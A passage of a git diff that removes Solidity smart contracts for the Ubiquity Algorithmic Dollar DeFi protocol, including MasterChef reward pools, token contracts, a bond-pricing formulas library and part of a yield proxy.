UserInfo)) public userInfo; - // Total allocation poitns. Must be the sum of all allocation points in all pools. - uint256 public totalAllocPoint = 0; - // The block number when UBQ mining starts. - uint256 public startBlock; - event Deposit(address indexed user, uint256 indexed pid, uint256 amount); - event Withdraw(address indexed user, uint256 indexed pid, uint256 amount); - event EmergencyWithdraw( - address indexed user, - uint256 indexed pid, - uint256 amount - ); - - // ----------- Modifiers ----------- - modifier onlyTokenManager() { - require( - manager.hasRole(manager.UBQ_TOKEN_MANAGER_ROLE(), msg.sender), - "MasterChef: not UBQ manager" - ); - _; - } - - constructor( - UbiquityAlgorithmicDollarManager _manager, - uint256 _ubqPerBlock, - uint256 _startBlock, - uint256 _bonusEndBlock - ) { - manager = UbiquityAlgorithmicDollarManager(_manager); - ubqPerBlock = _ubqPerBlock; - bonusEndBlock = _bonusEndBlock; - startBlock = _startBlock; - uGOVDivider = 5; // 100 / 5 = 20% extra minted ugov for treasury - } - - function setUBQPerBlock(uint256 _ubqPerBlock) external onlyTokenManager { - ubqPerBlock = _ubqPerBlock; - } - - // the bigger uGOVDivider is the less extra Ugov will be minted for the treasury - function setUGOVShareForTreasury(uint256 _uGOVDivider) - external - onlyTokenManager - { - uGOVDivider = _uGOVDivider; - } - - function poolLength() external view returns (uint256) { - return poolInfo.length; - } - - // View function to see pending UBQs on frontend. - function pendingUBQ(uint256 _pid, address _user) - external - view - returns (uint256) - { - PoolInfo storage pool = poolInfo[_pid]; - UserInfo storage user = userInfo[_pid][_user]; - uint256 accUbqPerShare = pool.accUbqPerShare; - uint256 lpSupply = pool.lpToken.balanceOf(address(this)); - if (block.number > pool.lastRewardBlock && lpSupply != 0) { - uint256 multiplier = getMultiplier( - pool.lastRewardBlock, - block.number - ); - - uint256 ubqReward = (multiplier * - (ubqPerBlock) * - (pool.allocPoint)) / (totalAllocPoint); - accUbqPerShare = - accUbqPerShare + - ((ubqReward * (1e12)) / (lpSupply)); - } - return ((user.amount * accUbqPerShare) / 1e12) - user.rewardDebt; - } - - // Add a new lp to the pool. Can only be called by the owner. - // XXX DO NOT add the same LP token more than once. Rewards will be messed up if you do. - function add( - uint256 _allocPoint, - IERC20 _lpToken, - bool _withUpdate - ) public onlyOwner { - if (_withUpdate) { - massUpdatePools(); - } - uint256 lastRewardBlock = block.number > startBlock - ? block.number - : startBlock; - totalAllocPoint = totalAllocPoint + _allocPoint; - poolInfo.push( - PoolInfo({ - lpToken: _lpToken, - allocPoint: _allocPoint, - lastRewardBlock: lastRewardBlock, - accUbqPerShare: 0 - }) - ); - } - - // Update the given pool's UBQ allocation point. Can only be called by the owner. - function set( - uint256 _pid, - uint256 _allocPoint, - bool _withUpdate - ) public onlyOwner { - if (_withUpdate) { - massUpdatePools(); - } - totalAllocPoint = - totalAllocPoint - - poolInfo[_pid].allocPoint + - _allocPoint; - poolInfo[_pid].allocPoint = _allocPoint; - } - - // Update reward vairables for all pools. Be careful of gas spending! - function massUpdatePools() public { - uint256 length = poolInfo.length; - for (uint256 pid = 0; pid < length; ++pid) { - updatePool(pid); - } - } - - // Update reward variables of the given pool to be up-to-date. - function updatePool(uint256 _pid) public { - PoolInfo storage pool = poolInfo[_pid]; - if (block.number <= pool.lastRewardBlock) { - return; - } - uint256 lpSupply = pool.lpToken.balanceOf(address(this)); - if (lpSupply == 0) { - pool.lastRewardBlock = block.number; - return; - } - uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number); - uint256 ubqReward = (multiplier * ubqPerBlock * pool.allocPoint) / - totalAllocPoint; - - // mint another x% for the treasury - IERC20Ubiquity(manager.governanceTokenAddress()).mint( - manager.treasuryAddress(), - ubqReward / uGOVDivider - ); - IERC20Ubiquity(manager.governanceTokenAddress()).mint( - address(this), - ubqReward - ); - - pool.accUbqPerShare = - pool.accUbqPerShare + - ((ubqReward * 1e12) / lpSupply); - pool.lastRewardBlock = block.number; - } - - // Deposit LP tokens to MasterChef for UBQ allocation. - function deposit(uint256 _pid, uint256 _amount) public { - PoolInfo storage pool = poolInfo[_pid]; - UserInfo storage user = userInfo[_pid][msg.sender]; - updatePool(_pid); - if (user.amount > 0) { - uint256 pending = ((user.amount * pool.accUbqPerShare) / 1e12) - - user.rewardDebt; - _safeUGOVTransfer(msg.sender, pending); - } - pool.lpToken.safeTransferFrom( - address(msg.sender), - address(this), - _amount - ); - user.amount = user.amount + _amount; - user.rewardDebt = (user.amount * pool.accUbqPerShare) / 1e12; - emit Deposit(msg.sender, _pid, _amount); - } - - // Withdraw LP tokens from MasterChef. - function withdraw(uint256 _pid, uint256 _amount) public { - PoolInfo storage pool = poolInfo[_pid]; - UserInfo storage user = userInfo[_pid][msg.sender]; - require(user.amount >= _amount, "withdraw: not good"); - updatePool(_pid); - uint256 pending = ((user.amount * pool.accUbqPerShare) / 1e12) - - user.rewardDebt; - _safeUGOVTransfer(msg.sender, pending); - user.amount = user.amount - _amount; - user.rewardDebt = (user.amount * pool.accUbqPerShare) / 1e12; - pool.lpToken.safeTransfer(address(msg.sender), _amount); - emit Withdraw(msg.sender, _pid, _amount); - } - - // Withdraw without caring about rewards. EMERGENCY ONLY. - function emergencyWithdraw(uint256 _pid) public { - PoolInfo storage pool = poolInfo[_pid]; - UserInfo storage user = userInfo[_pid][msg.sender]; - pool.lpToken.safeTransfer(address(msg.sender), user.amount); - emit EmergencyWithdraw(msg.sender, _pid, user.amount); - user.amount = 0; - user.rewardDebt = 0; - } - - // Return reward multiplier over the given _from to _to block. - function getMultiplier(uint256 _from, uint256 _to) - public - view - returns (uint256) - { - if (_to <= bonusEndBlock) { - return (_to - _from) * BONUS_MULTIPLIER; - } else if (_from >= bonusEndBlock) { - return _to - _from; - } else { - return - ((bonusEndBlock - _from) * BONUS_MULTIPLIER) + - (_to - bonusEndBlock); - } - } - - // Safe uGOV transfer function, just in case if rounding - // error causes pool to not have enough uGOVs. - function _safeUGOVTransfer(address _to, uint256 _amount) internal { - IERC20Ubiquity uGOV = IERC20Ubiquity(manager.governanceTokenAddress()); - uint256 uGOVBal = uGOV.balanceOf(address(this)); - if (_amount > uGOVBal) { - uGOV.safeTransfer(_to, uGOVBal); - } else { - uGOV.safeTransfer(_to, _amount); - } - } -} diff --git a/packages/contracts/dollar/contracts/MasterChefV2.sol b/packages/contracts/dollar/contracts/MasterChefV2.sol deleted file mode 100644 index 19d76b1eb..000000000 --- a/packages/contracts/dollar/contracts/MasterChefV2.sol +++ /dev/null @@ -1,316 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity 0.8.3; - -import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; -import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; -import "./interfaces/IERC20Ubiquity.sol"; -import "./UbiquityAlgorithmicDollarManager.sol"; -import "./interfaces/ITWAPOracle.sol"; -import "./BondingShareV2.sol"; -import "./interfaces/IUbiquityFormulas.sol"; - -import "./interfaces/IERC1155Ubiquity.sol"; - -contract MasterChefV2 is ReentrancyGuard { - using SafeERC20 for IERC20Ubiquity; - using SafeERC20 for IERC20; - - // Info of each user. - struct BondingShareInfo { - uint256 amount; // bonding rights. - uint256 rewardDebt; // Reward debt. See explanation below. - // - // We do some fancy math here. Basically, any point in time, the amount of uGOVs - // entitled to a user but is pending to be distributed is: - // - // pending reward = (user.amount * pool.accuGOVPerShare) - user.rewardDebt - // - // Whenever a user deposits or withdraws LP tokens to a pool. Here's what happens: - // 1. The pool's `accuGOVPerShare` (and `lastRewardBlock`) gets updated. - // 2. User receives the pending reward sent to his/her address. - // 3. User's `amount` gets updated. - // 4. User's `rewardDebt` gets updated. - } - // Info of each pool. - struct PoolInfo { - uint256 lastRewardBlock; // Last block number that uGOVs distribution occurs. - uint256 accuGOVPerShare; // Accumulated uGOVs per share, times 1e12. See below. - } - - uint256 private _totalShares; - - // Ubiquity Manager - UbiquityAlgorithmicDollarManager public manager; - - // uGOV tokens created per block. - uint256 public uGOVPerBlock; - // Bonus muliplier for early uGOV makers. - uint256 public uGOVmultiplier = 1e18; - uint256 public minPriceDiffToUpdateMultiplier = 1e15; - uint256 public lastPrice = 1e18; - uint256 public uGOVDivider; - // Info of each pool. - PoolInfo public pool; - // Info of each user that stakes LP tokens. - mapping(uint256 => BondingShareInfo) private _bsInfo; - - event Deposit( - address indexed user, - uint256 amount, - uint256 indexed bondingShareId - ); - - event Withdraw( - address indexed user, - uint256 amount, - uint256 indexed bondingShareId - ); - - event UGOVPerBlockModified(uint256 indexed uGOVPerBlock); - - event MinPriceDiffToUpdateMultiplierModified( - uint256 indexed minPriceDiffToUpdateMultiplier - ); - - // ----------- Modifiers ----------- - modifier onlyTokenManager() { - require( - manager.hasRole(manager.UBQ_TOKEN_MANAGER_ROLE(), msg.sender), - "MasterChef: not UBQ manager" - ); - _; - } - modifier onlyBondingContract() { - require( - msg.sender == manager.bondingContractAddress(), - "MasterChef: not Bonding Contract" - ); - _; - } - - constructor( - address _manager, - address[] memory _tos, - uint256[] memory _amounts, - uint256[] memory _bondingShareIDs - ) { - manager = UbiquityAlgorithmicDollarManager(_manager); - pool.lastRewardBlock = block.number; - pool.accuGOVPerShare = 0; // uint256(1e12); - uGOVDivider = 5; // 100 / 5 = 20% extra minted ugov for treasury - _updateUGOVMultiplier(); - - uint256 lgt = _tos.length; - require(lgt == _amounts.length, "_amounts array not same length"); - require( - lgt == _bondingShareIDs.length, - "_bondingShareIDs array not same length" - ); - - for (uint256 i = 0; i < lgt; ++i) { - _deposit(_tos[i], _amounts[i], _bondingShareIDs[i]); - } - } - - function setUGOVPerBlock(uint256 _uGOVPerBlock) external onlyTokenManager { - uGOVPerBlock = _uGOVPerBlock; - emit UGOVPerBlockModified(_uGOVPerBlock); - } - - // the bigger uGOVDivider is the less extra Ugov will be minted for the treasury - function setUGOVShareForTreasury(uint256 _uGOVDivider) - external - onlyTokenManager - { - uGOVDivider = _uGOVDivider; - } - - function setMinPriceDiffToUpdateMultiplier( - uint256 _minPriceDiffToUpdateMultiplier - ) external onlyTokenManager { - minPriceDiffToUpdateMultiplier = _minPriceDiffToUpdateMultiplier; - emit MinPriceDiffToUpdateMultiplierModified( - _minPriceDiffToUpdateMultiplier - ); - } - - // Deposit LP tokens to MasterChef for uGOV allocation. - function deposit( - address to, - uint256 _amount, - uint256 _bondingShareID - ) external nonReentrant onlyBondingContract { - _deposit(to, _amount, _bondingShareID); - } - - // Withdraw LP tokens from MasterChef. - function withdraw( - address to, - uint256 _amount, - uint256 _bondingShareID - ) external nonReentrant onlyBondingContract { - BondingShareInfo storage bs = _bsInfo[_bondingShareID]; - require(bs.amount >= _amount, "MC: amount too high"); - _updatePool(); - uint256 pending = ((bs.amount * pool.accuGOVPerShare) / 1e12) - - bs.rewardDebt; - // send UGOV to Bonding Share holder - - _safeUGOVTransfer(to, pending); - bs.amount -= _amount; - bs.rewardDebt = (bs.amount * pool.accuGOVPerShare) / 1e12; - _totalShares -= _amount; - emit Withdraw(to, _amount, _bondingShareID); - } - - /// @dev get pending uGOV rewards from MasterChef. - /// @return amount of pending rewards transfered to msg.sender - /// @notice only send pending rewards - function getRewards(uint256 bondingShareID) external returns (uint256) { - require( - IERC1155Ubiquity(manager.bondingShareAddress()).balanceOf( - msg.sender, - bondingShareID - ) == 1, - "MS: caller is not owner" - ); - - // calculate user reward - BondingShareInfo storage user = _bsInfo[bondingShareID]; - _updatePool(); - uint256 pending = ((user.amount * pool.accuGOVPerShare) / 1e12) - - user.rewardDebt; - _safeUGOVTransfer(msg.sender, pending); - user.rewardDebt = (user.amount * pool.accuGOVPerShare) / 1e12; - return pending; - } - - // View function to see pending uGOVs on frontend. - function pendingUGOV(uint256 bondingShareID) - external - view - returns (uint256) - { - BondingShareInfo storage user = _bsInfo[bondingShareID]; - uint256 accuGOVPerShare = pool.accuGOVPerShare; - - if (block.number > pool.lastRewardBlock && _totalShares != 0) { - uint256 multiplier = _getMultiplier(); - uint256 uGOVReward = (multiplier * uGOVPerBlock) / 1e18; - accuGOVPerShare = - accuGOVPerShare + - ((uGOVReward * 1e12) / _totalShares); - } - return (user.amount * accuGOVPerShare) / 1e12 - user.rewardDebt; - } - - /** - * @dev get the amount of shares and the reward debt of a bonding share . - */ - function getBondingShareInfo(uint256 _id) - external - view - returns (uint256[2] memory) - { - return [_bsInfo[_id].amount, _bsInfo[_id].rewardDebt]; - } - - /** - * @dev Total amount of shares . - */ - function totalShares() external view virtual returns (uint256) { - return _totalShares; - } - - // _Deposit LP tokens to MasterChef for uGOV allocation. - function _deposit( - address to, - uint256 _amount, - uint256 _bondingShareID - ) internal { - BondingShareInfo storage bs = _bsInfo[_bondingShareID]; - _updatePool(); - if (bs.amount > 0) { - uint256 pending = ((bs.amount * pool.accuGOVPerShare) / 1e12) - - bs.rewardDebt; - _safeUGOVTransfer(to, pending); - } - bs.amount += _amount; - bs.rewardDebt = (bs.amount * pool.accuGOVPerShare) / 1e12; - _totalShares += _amount; - emit Deposit(to, _amount, _bondingShareID); - } - - // UPDATE uGOV multiplier - function _updateUGOVMultiplier() internal { - // (1.05/(1+abs(1-TWAP_PRICE))) - uint256 currentPrice = _getTwapPrice(); - - bool isPriceDiffEnough = false; - // a minimum price variation is needed to update the multiplier - if (currentPrice > lastPrice) { - isPriceDiffEnough = - currentPrice - lastPrice > minPriceDiffToUpdateMultiplier; - } else { - isPriceDiffEnough = - lastPrice - currentPrice > minPriceDiffToUpdateMultiplier; - } - - if (isPriceDiffEnough) { - uGOVmultiplier = IUbiquityFormulas(manager.formulasAddress()) - .ugovMultiply(uGOVmultiplier, currentPrice); - lastPrice = currentPrice; - } - } - - // Update reward variables of the given pool to be up-to-date. - function _updatePool() internal { - if (block.number <= pool.lastRewardBlock) { - return; - } - _updateUGOVMultiplier(); - - if (_totalShares == 0) { - pool.lastRewardBlock = block.number; - return; - } - uint256 multiplier = _getMultiplier(); - uint256 uGOVReward = (multiplier * uGOVPerBlock) / 1e18; - IERC20Ubiquity(manager.governanceTokenAddress()).mint( - address(this), - uGOVReward - ); - // mint another x% for the treasury - IERC20Ubiquity(manager.governanceTokenAddress()).mint( - manager.treasuryAddress(), - uGOVReward / uGOVDivider - ); - pool.accuGOVPerShare = - pool.accuGOVPerShare + - ((uGOVReward * 1e12) / _totalShares); - pool.lastRewardBlock = block.number; - } - - // Safe uGOV transfer function, just in case if rounding - // error causes pool to not have enough uGOVs. - function _safeUGOVTransfer(address _to, uint256 _amount) internal { - IERC20Ubiquity uGOV = IERC20Ubiquity(manager.governanceTokenAddress()); - uint256 uGOVBal = uGOV.balanceOf(address(this)); - if (_amount > uGOVBal) { - uGOV.safeTransfer(_to, uGOVBal); - } else { - uGOV.safeTransfer(_to, _amount); - } - } - - function _getMultiplier() internal view returns (uint256) { - return (block.number - pool.lastRewardBlock) * uGOVmultiplier; - } - - function _getTwapPrice() internal view returns (uint256) { - return - ITWAPOracle(manager.twapOracleAddress()).consult( - manager.dollarTokenAddress() - ); - } -} diff --git a/packages/contracts/dollar/contracts/UARForDollarsCalculator.sol b/packages/contracts/dollar/contracts/UARForDollarsCalculator.sol deleted file mode 100644 index 606d86f61..000000000 --- a/packages/contracts/dollar/contracts/UARForDollarsCalculator.sol +++ /dev/null @@ -1,62 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.3; - -import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; -import "./interfaces/IUARForDollarsCalculator.sol"; -import "./UbiquityAlgorithmicDollarManager.sol"; -import "./libs/ABDKMathQuad.sol"; -import "./DebtCoupon.sol"; - -/// @title Uses the following formula: ((1/(1-R)^2) - 1) -contract UARForDollarsCalculator is IUARForDollarsCalculator { - using ABDKMathQuad for uint256; - using ABDKMathQuad for bytes16; - UbiquityAlgorithmicDollarManager public manager; - uint256 private _coef = 1 ether; - - modifier onlyAdmin() { - require( - manager.hasRole(manager.INCENTIVE_MANAGER_ROLE(), msg.sender), - "UARCalc: not admin" - ); - _; - } - - /// @param _manager the address of the manager/config contract so we can fetch variables - constructor(address _manager) { - manager = UbiquityAlgorithmicDollarManager(_manager); - } - - /// @notice set the constant for uAR calculation - /// @param coef new constant for uAR calculation in ETH format - /// @dev a coef of 1 ether means 1 - function setConstant(uint256 coef) external onlyAdmin { - _coef = coef; - } - - /// @notice get the constant for uAR calculation - function getConstant() external view returns (uint256) { - return _coef; - } - - // dollarsToBurn * (blockheight_debt/blockheight_burn) * _coef - function getUARAmount(uint256 dollarsToBurn, uint256 blockHeightDebt) - external - view - override - returns (uint256) - { - require( - DebtCoupon(manager.debtCouponAddress()).getTotalOutstandingDebt() < - IERC20(manager.dollarTokenAddress()).totalSupply(), - "uAR to Dollar: DEBT_TOO_HIGH" - ); - bytes16 coef = _coef.fromUInt().div((uint256(1 ether)).fromUInt()); - bytes16 curBlock = uint256(block.number).fromUInt(); - bytes16 multiplier = blockHeightDebt.fromUInt().div(curBlock); - // x^a = e^(a*lnx(x)) so multiplier^(_coef) = e^(_coef*lnx(multiplier)) - bytes16 op = (coef.mul(multiplier.ln())).exp(); - uint256 res = dollarsToBurn.fromUInt().mul(op).toUInt(); - return res; - } -} diff --git a/packages/contracts/dollar/contracts/UbiquityAlgorithmicDollar.sol b/packages/contracts/dollar/contracts/UbiquityAlgorithmicDollar.sol deleted file mode 100644 index d53efe770..000000000 --- a/packages/contracts/dollar/contracts/UbiquityAlgorithmicDollar.sol +++ /dev/null @@ -1,98 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.3; - -import "./interfaces/IIncentive.sol"; -import "./ERC20Ubiquity.sol"; - -contract UbiquityAlgorithmicDollar is ERC20Ubiquity { - /// @notice get associated incentive contract, 0 address if N/A - mapping(address => address) public incentiveContract; - - event IncentiveContractUpdate( - address indexed _incentivized, - address indexed _incentiveContract - ); - - constructor(address _manager) - ERC20Ubiquity(_manager, "Ubiquity Algorithmic Dollar", "uAD") - {} // solhint-disable-line no-empty-blocks - - /// @param account the account to incentivize - /// @param incentive the associated incentive contract - /// @notice only UAD manager can set Incentive contract - function setIncentiveContract(address account, address incentive) external { - require( - ERC20Ubiquity.manager.hasRole( - ERC20Ubiquity.manager.UBQ_TOKEN_MANAGER_ROLE(), - msg.sender - ), - "Dollar: must have admin role" - ); - - incentiveContract[account] = incentive; - emit IncentiveContractUpdate(account, incentive); - } - - function _checkAndApplyIncentives( - address sender, - address recipient, - uint256 amount - ) internal { - // incentive on sender - address senderIncentive = incentiveContract[sender]; - if (senderIncentive != address(0)) { - IIncentive(senderIncentive).incentivize( - sender, - recipient, - msg.sender, - amount - ); - } - - // incentive on recipient - address recipientIncentive = incentiveContract[recipient]; - if (recipientIncentive != address(0)) { - IIncentive(recipientIncentive).incentivize( - sender, - recipient, - msg.sender, - amount - ); - } - - // incentive on operator - address operatorIncentive = incentiveContract[msg.sender]; - if ( - msg.sender != sender && - msg.sender != recipient && - operatorIncentive != address(0) - ) { - IIncentive(operatorIncentive).incentivize( - sender, - recipient, - msg.sender, - amount - ); - } - - // all incentive, if active applies to every transfer - address allIncentive = incentiveContract[address(0)]; - if (allIncentive != address(0)) { - IIncentive(allIncentive).incentivize( - sender, - recipient, - msg.sender, - amount - ); - } - } - - function _transfer( - address sender, - address recipient, - uint256 amount - ) internal override { - super._transfer(sender, recipient, amount); - _checkAndApplyIncentives(sender, recipient, amount); - } -} diff --git a/packages/contracts/dollar/contracts/UbiquityAutoRedeem.sol b/packages/contracts/dollar/contracts/UbiquityAutoRedeem.sol deleted file mode 100644 index 9d28a8a82..000000000 --- a/packages/contracts/dollar/contracts/UbiquityAutoRedeem.sol +++ /dev/null @@ -1,18 +0,0 @@ -// SPDX-License-Identifier: Apache-2.0 -pragma solidity ^0.8.3; - -import "./ERC20Ubiquity.sol"; - -contract UbiquityAutoRedeem is ERC20Ubiquity { - constructor(address _manager) - ERC20Ubiquity(_manager, "Ubiquity Auto Redeem", "uAR") - {} // solhint-disable-line no-empty-blocks - - /// @notice raise capital in form of uAR (only redeemable when uAD > 1$) - /// @param amount the amount to be minted - /// @dev you should be minter to call that function - function raiseCapital(uint256 amount) external { - address treasuryAddress = manager.treasuryAddress(); - mint(treasuryAddress, amount); - } -} diff --git a/packages/contracts/dollar/contracts/UbiquityFormulas.sol b/packages/contracts/dollar/contracts/UbiquityFormulas.sol deleted file mode 100644 index ac5a0f795..000000000 --- a/packages/contracts/dollar/contracts/UbiquityFormulas.sol +++ /dev/null @@ -1,118 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.3; - -import "./libs/ABDKMathQuad.sol"; - -contract UbiquityFormulas { - using ABDKMathQuad for uint256; - using ABDKMathQuad for bytes16; - - /// @dev formula duration multiply - /// @param _uLP , amount of LP tokens - /// @param _weeks , mimimun duration of staking period - /// @param _multiplier , bonding discount multiplier = 0.0001 - /// @return _shares , amount of shares - /// @notice _shares = (1 + _multiplier * _weeks^3/2) * _uLP - // D32 = D^3/2 - // S = m * D32 * A + A - function durationMultiply( - uint256 _uLP, - uint256 _weeks, - uint256 _multiplier - ) public pure returns (uint256 _shares) { - bytes16 unit = uint256(1 ether).fromUInt(); - bytes16 d = _weeks.fromUInt(); - bytes16 d32 = (d.mul(d).mul(d)).sqrt(); - bytes16 m = _multiplier.fromUInt().div(unit); // 0.0001 - bytes16 a = _uLP.fromUInt(); - - _shares = m.mul(d32).mul(a).add(a).toUInt(); - } - - /// @dev formula bonding - /// @param _shares , amount of shares - /// @param _currentShareValue , current share value - /// @param _targetPrice , target uAD price - /// @return _uBOND , amount of bonding shares - /// @notice UBOND = _shares / _currentShareValue * _targetPrice - // newShares = A / V * T - function bonding( - uint256 _shares, - uint256 _currentShareValue, - uint256 _targetPrice - ) public pure returns (uint256 _uBOND) { - bytes16 a = _shares.fromUInt(); - bytes16 v = _currentShareValue.fromUInt(); - bytes16 t = _targetPrice.fromUInt(); - - _uBOND = a.div(v).mul(t).toUInt(); - } - - /// @dev formula redeem bonds - /// @param _uBOND , amount of bonding shares - /// @param _currentShareValue , current share value - /// @param _targetPrice , target uAD price - /// @return _uLP , amount of LP tokens - /// @notice _uLP = _uBOND * _currentShareValue / _targetPrice - // _uLP = A * V / T - function redeemBonds( - uint256 _uBOND, - uint256 _currentShareValue, - uint256 _targetPrice - ) public pure returns (uint256 _uLP) { - bytes16 a = _uBOND.fromUInt(); - bytes16 v = _currentShareValue.fromUInt(); - bytes16 t = _targetPrice.fromUInt(); - - _uLP = a.mul(v).div(t).toUInt(); - } - - /// @dev formula bond price - /// @param _totalULP , total LP tokens - /// @param _totalUBOND , total bond shares - /// @param _targetPrice , target uAD price - /// @return _priceUBOND , bond share price - /// @notice - // IF _totalUBOND = 0 priceBOND = TARGET_PRICE - // ELSE priceBOND = totalLP / totalShares * TARGET_PRICE - // R = T == 0 ? 1 : LP / S - // P = R * T - function bondPrice( - uint256 _totalULP, - uint256 _totalUBOND, - uint256 _targetPrice - ) public pure returns (uint256 _priceUBOND) { - bytes16 lp = _totalULP.fromUInt(); - bytes16 s = _totalUBOND.fromUInt(); - bytes16 r = _totalUBOND == 0 ? uint256(1).fromUInt() : lp.div(s); - bytes16 t = _targetPrice.fromUInt(); - - _priceUBOND = r.mul(t).toUInt(); - } - - /// @dev formula ugov multiply - /// @param _multiplier , initial ugov min multiplier - /// @param _price , current share price - /// @return _newMultiplier , new ugov min multiplier - /// @notice new_multiplier = multiplier * ( 1.05 / (1 + abs( 1 - price ) ) ) - // nM = M * C / A - // A = ( 1 + abs( 1 - P))) - // 5 >= multiplier >= 0.2 - function ugovMultiply(uint256 _multiplier, uint256 _price) - public - pure - returns (uint256 _newMultiplier) - { - bytes16 m = _multiplier.fromUInt(); - bytes16 p = _price.fromUInt(); - bytes16 c = uint256(105 * 1e16).fromUInt(); // 1.05 - bytes16 u = uint256(1e18).fromUInt(); // 1 - bytes16 a = u.add(u.sub(p).abs()); // 1 + abs( 1 - P ) - - _newMultiplier = m.mul(c).div(a).toUInt(); // nM = M * C / A - - // 5 >= multiplier >= 0.2 - if (_newMultiplier > 5e18 || _newMultiplier < 2e17) - _newMultiplier = _multiplier; - } -} diff --git a/packages/contracts/dollar/contracts/YieldProxy.sol b/packages/contracts/dollar/contracts/YieldProxy.sol deleted file mode 100644 index 8db4d517c..000000000 --- a/packages/contracts/dollar/contracts/YieldProxy.sol +++ /dev/null @@ -1,359 +0,0 @@ -// SPDX-License-Identifier: Apache-2.0 -pragma solidity ^0.8.3; -import "./utils/CollectableDust.sol"; -import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; -import "@openzeppelin/contracts/security/Pausable.sol"; -import "./UbiquityAlgorithmicDollarManager.sol"; -import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; -import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; -import "./interfaces/IJar.sol"; -import "./interfaces/IERC20Ubiquity.sol"; - -contract YieldProxy is ReentrancyGuard, CollectableDust, Pausable { - using SafeERC20 for ERC20; - using SafeERC20 for IERC20Ubiquity; - struct UserInfo { - uint256 amount; // token amount deposited by the user with same decimals as underlying token - uint256 shares; // pickle jar shares - uint256 uadAmount; // amount of uAD staked - uint256 ubqAmount; // amount of UBQ staked - uint256 fee; // deposit fee with same decimals as underlying token - uint256 ratio; // used to calculate yield - uint256 bonusYield; // used to calculate bonusYield on yield in uAR - } - - ERC20 public token; - IJar public jar; - uint256 public constant BONUS_YIELD_MAX = 10000; // 1000 = 10% 100 = 1% 10 = 0.1% 1 = 0.01% - uint256 public bonusYield; // 5000 = 50% 100 = 1% 10 = 0.1% 1 = 0.01% - uint256 public constant FEES_MAX = 100000; // 1000 = 1% 100 = 0.1% 10 = 0.01% 1 = 0.001% - uint256 public constant UBQ_RATE_MAX = 10000e18; // 100000e18 Amount of UBQ to be stake to reduce the deposit fees by 100% - - uint256 public fees; // 10000 = 10%, 1000 = 1% 100 = 0.1% 10= 0.01% 1=0.001% - // 100e18, if the ubqRate is 100 and UBQ_RATE_MAX=10000 then 100/10000 = 0.01 - // 1UBQ gives you 0.01% of fee reduction so 10000 UBQ gives you 100% - uint256 public ubqRate; - - uint256 public ubqMaxAmount; // UBQ amount to stake to have 100% - - // struct to store deposit details - - mapping(address => UserInfo) private _balances; - UbiquityAlgorithmicDollarManager public manager; - - event Deposit( - address indexed _user, - uint256 _amount, - uint256 _shares, - uint256 _fee, - uint256 _ratio, - uint256 _uadAmount, - uint256 _ubqAmount, - uint256 _bonusYield - ); - - event WithdrawAll( - address indexed _user, - uint256 _amount, - uint256 _shares, - uint256 _fee, - uint256 _ratio, - uint256 _uadAmount, - uint256 _ubqAmount, - uint256 _bonusYield, - uint256 _uARYield - ); - - modifier onlyAdmin() { - require( - manager.hasRole(manager.DEFAULT_ADMIN_ROLE(), msg.sender), - "YieldProxy::!admin" - ); - _; - } - - constructor( - address _manager, - address _jar, - uint256 _fees, - uint256 _ubqRate, - uint256 _bonusYield - ) CollectableDust() Pausable() { - manager = UbiquityAlgorithmicDollarManager(_manager); - fees = _fees; // 10000 = 10% - jar = IJar(_jar); - token = ERC20(jar.token()); - // dont accept weird token - assert(token.decimals() < 19); - ubqRate = _ubqRate; - bonusYield = _bonusYield; - ubqMaxAmount = (100e18 * UBQ_RATE_MAX) / ubqRate; - } - - /// @dev deposit tokens needed by the pickle jar to receive an extra yield in form of ubiquity debts - /// @param _amount of token required by the pickle jar - /// @param _ubqAmount amount of UBQ token that will be stake to decrease your deposit fee - /// @param _uadAmount amount of uAD token that will be stake to increase your bonusYield - /// @notice weeks act as a multiplier for the amount of bonding shares to be received - function deposit( - uint256 _amount, - uint256 _uadAmount, - uint256 _ubqAmount - ) external nonReentrant returns (bool) { - require(_amount > 0, "YieldProxy::amount==0"); - UserInfo storage dep = _balances[msg.sender]; - require(dep.amount == 0, "YieldProxy::DepoExist"); - uint256 curFee = 0; - // we have to take into account the number of decimals of the udnerlying token - uint256 upatedAmount = _amount; - if (token.decimals() < 18) { - upatedAmount = _amount * 10**(18 - token.decimals()); - } - if ( - _ubqAmount < ubqMaxAmount - ) // calculate fee based on ubqAmount if it is not the max - { - // calculate discount - uint256 discountPercentage = (ubqRate * _ubqAmount) / UBQ_RATE_MAX; // we need to divide by 100e18 to get the percentage - // calculate regular fee - curFee = ((_amount * fees) / FEES_MAX); - - // calculate the discount for this fee - uint256 discount = (curFee * discountPercentage) / 100e18; - // remaining fee - curFee = curFee - discount; - } - // if we don't provide enough UAD the bonusYield will be lowered - uint256 calculatedBonusYield = BONUS_YIELD_MAX; - - uint256 maxUadAmount = upatedAmount / 2; - if (_uadAmount < maxUadAmount) { - // calculate the percentage of extra yield you are entitled to - uint256 percentage = ((_uadAmount + maxUadAmount) * 100e18) / - maxUadAmount; // 133e18 - // increase the bonus yield with that percentage - calculatedBonusYield = (bonusYield * percentage) / 100e18; - // should not be possible to have a higher yield than the max yield - assert(calculatedBonusYield <= BONUS_YIELD_MAX); - } - - dep.fee = curFee; // with 18 decimals - dep.amount = _amount; - dep.ratio = jar.getRatio(); - dep.uadAmount = _uadAmount; - dep.ubqAmount = _ubqAmount; - dep.bonusYield = calculatedBonusYield; - - // transfer all the tokens from the user - token.safeTransferFrom(msg.sender, address(this), _amount); - // invest in the pickle jar - uint256 curBalance = jar.balanceOf(address(this)); - // allowing token to be deposited into the jar - token.safeIncreaseAllowance(address(jar), _amount); - /* uint256 allthis = ERC20(jar.token()).allowance( - address(this), - address(jar) - ); - uint256 allsender = ERC20(jar.token()).allowance( - msg.sender, - address(jar) - ); */ - - jar.deposit(_amount); - dep.shares = jar.balanceOf(address(this)) - curBalance; - /* allthis = ERC20(manager.dollarTokenAddress()).allowance( - msg.sender, - address(this) - ); */ - if (_uadAmount > 0) { - 